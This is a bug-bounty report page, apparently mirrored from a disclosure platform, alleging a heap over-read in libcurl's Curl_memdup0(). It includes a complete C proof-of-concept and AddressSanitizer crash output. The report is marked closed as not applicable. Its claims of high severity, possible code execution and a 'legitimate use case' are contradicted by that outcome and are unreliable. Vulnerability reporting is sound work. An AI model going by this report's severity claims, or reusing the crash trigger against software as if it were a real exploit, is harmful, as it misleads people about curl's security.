Loading HuntDB...

Heap Buffer Overflow in Curl_memdup0() via CURLOPT_COPYPOSTFIELDS/CURLOPT_POSTFIELDSIZE Mismatch

High
C
curl
Submitted None
Reported by geeknik

Vulnerability Details

Technical details and impact analysis

Buffer Over-read
## Summary A heap buffer overflow vulnerability exists in libcurl's `Curl_memdup0()` function when handling `CURLOPT_COPYPOSTFIELDS` operations. The vulnerability occurs when libcurl internally processes POST data where the specified `CURLOPT_POSTFIELDSIZE` exceeds the actual buffer size of data set via `CURLOPT_COPYPOSTFIELDS`. This is a legitimate use case that libcurl should handle safely, but currently results in out-of-bounds memory access. ## POC ### Environment * libcurl version: 8.16.0-DEV (master branch) * Compiler: Clang 20.1.8 with Address Sanitizer * OS: MacOS 26 Dev Beta 5 `gcc -fsanitize=address -g -o poc poc.c -lcurl` ``` #include <stdio.h> #include <stdlib.h> #include <string.h> #include <curl/curl.h> #define ACTUAL_SIZE 105 #define CLAIMED_SIZE 976909154L int main(void) { printf("[+] libcurl Heap Buffer Overflow PoC\n"); printf("[+] CURLOPT_COPYPOSTFIELDS vulnerability reproduction\n\n"); /* Initialize libcurl */ curl_global_init(CURL_GLOBAL_ALL); CURL *curl = curl_easy_init(); if(!curl) { fprintf(stderr, "[!] Failed to initialize curl\n"); return 1; } printf("[+] libcurl initialized successfully\n"); /* CRITICAL: Allocate buffer on HEAP, not stack */ char *heap_buffer = (char *)malloc(ACTUAL_SIZE); if(!heap_buffer) { fprintf(stderr, "[!] Failed to allocate heap buffer\n"); curl_easy_cleanup(curl); return 1; } /* Fill with test data */ memset(heap_buffer, 'A', ACTUAL_SIZE - 1); heap_buffer[ACTUAL_SIZE - 1] = '\0'; printf("[+] Allocated HEAP buffer: %d bytes at %p\n", ACTUAL_SIZE, (void*)heap_buffer); printf("[+] Buffer content: \"%.50s...\"\n", heap_buffer); /* Set a basic URL (won't actually connect) */ curl_easy_setopt(curl, CURLOPT_URL, "http://example.com"); /* Set POST mode */ curl_easy_setopt(curl, CURLOPT_POST, 1L); /* VULNERABILITY TRIGGER - Set size much larger than actual buffer */ printf("[+] Setting CURLOPT_POSTFIELDSIZE to: %ld bytes\n", CLAIMED_SIZE); CURLcode res = curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, CLAIMED_SIZE); if(res != CURLE_OK) { fprintf(stderr, "[!] Failed to set POSTFIELDSIZE: %s\n", curl_easy_strerror(res)); free(heap_buffer); curl_easy_cleanup(curl); return 1; } printf("[+] CURLOPT_POSTFIELDSIZE set successfully\n"); /* TRIGGER THE HEAP BUFFER OVERFLOW */ printf("[+] Calling CURLOPT_COPYPOSTFIELDS with %d-byte heap buffer...\n", ACTUAL_SIZE); printf("[!] This should trigger HEAP buffer overflow in Curl_memdup0()\n"); printf("[!] AddressSanitizer should detect out-of-bounds read on HEAP\n\n"); /* This will cause Curl_memdup0() to read CLAIMED_SIZE bytes from ACTUAL_SIZE buffer */ res = curl_easy_setopt(curl, CURLOPT_COPYPOSTFIELDS, heap_buffer); if(res == CURLE_OK) { printf("[?] CURLOPT_COPYPOSTFIELDS succeeded (unexpected if ASAN enabled)\n"); printf("[?] The overflow may have occurred silently\n"); } else { printf("[!] CURLOPT_COPYPOSTFIELDS failed: %s\n", curl_easy_strerror(res)); } /* Cleanup */ free(heap_buffer); curl_easy_cleanup(curl); curl_global_cleanup(); printf("[+] If you see this, the overflow was not detected\n"); printf("[!] Run with AddressSanitizer: gcc -fsanitize=address poc.c -lcurl\n"); return 0; } ``` ## Vulnerable Code Path `CURLOPT_POSTFIELDSIZE` set to 976909154 `CURLOPT_COPYPOSTFIELDS` given 105-byte buffer `Curl_memdup0()` blindly trusts the size parameter No validation that size matches actual buffer Detection: Compile with AddressSanitizer (-fsanitize=address) to observe heap buffer overflow. ``` [+] libcurl Heap Buffer Overflow PoC [+] CURLOPT_COPYPOSTFIELDS vulnerability reproduction [+] libcurl initialized successfully [+] Allocated HEAP buffer: 105 bytes at 0x60b000002fb0 [+] Buffer content: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." [+] Setting CURLOPT_POSTFIELDSIZE to: 976909154 bytes [+] CURLOPT_POSTFIELDSIZE set successfully [+] Calling CURLOPT_COPYPOSTFIELDS with 105-byte heap buffer... [!] This should trigger HEAP buffer overflow in Curl_memdup0() [!] AddressSanitizer should detect out-of-bounds read on HEAP ================================================================= ==33081==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000003019 at pc 0x000101451c64 bp 0x00016f33df30 sp 0x00016f33d6d0 READ of size 976909154 at 0x60b000003019 thread T0 #0 0x000101451c60 in memcpy+0x284 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x85c60) #1 0x0001acb23954 in Curl_memdup0+0x44 (libcurl.4.dylib:arm64e+0x4e954) #2 0x0001acb1a678 in Curl_vsetopt+0xc60 (libcurl.4.dylib:arm64e+0x45678) #3 0x0001acb1d4c0 in curl_easy_setopt+0x20 (libcurl.4.dylib:arm64e+0x484c0) #4 0x000100ac0b50 in main poc_heap_overflow_fixed.c:73 #5 0x000190b41920 in start+0x18fc (dyld:arm64e+0x3920) 0x60b000003019 is located 0 bytes after 105-byte region [0x60b000002fb0,0x60b000003019) allocated by thread T0 here: #0 0x00010140930c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c) #1 0x000100ac0904 in main poc_heap_overflow_fixed.c:36 #2 0x000190b41920 in start+0x18fc (dyld:arm64e+0x3920) SUMMARY: AddressSanitizer: heap-buffer-overflow (libcurl.4.dylib:arm64e+0x4e954) in Curl_memdup0+0x44 Shadow bytes around the buggy address: 0x60b000002d80: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x60b000002e00: fd fd fa fa fa fa fa fa fa fa fd fd fd fd fd fd 0x60b000002e80: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x60b000002f00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa 0x60b000002f80: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00 =>0x60b000003000: 00 00 00[01]fa fa fa fa fa fa fa fa fa fa fa fa 0x60b000003080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60b000003100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60b000003180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60b000003200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60b000003280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==33081==ABORTING ``` ## Impact ## Severity: High ### Security Impact: > Information Disclosure: Out-of-bounds read exposes adjacent heap memory contents > Potential RCE: Heap layout manipulation may enable code execution in specific scenarios > Denial of Service: Memory access violations cause application crashes > Data Corruption: Heap metadata corruption affects application stability ### Attack Scenarios: > Applications that accept user-controlled POST data sizes > Network services processing untrusted HTTP POST parameters > Any application where attackers can influence both POST data and size parameters ### Real-World Relevance: > This affects legitimate use cases where applications might: > Truncate or pad POST data based on protocol requirements > Process variable-length content with fixed-size headers > Handle network protocols with length prefixes

Report Details

Additional information and metadata

State

Closed

Substate

Not-Applicable

Submitted

Weakness

Buffer Over-read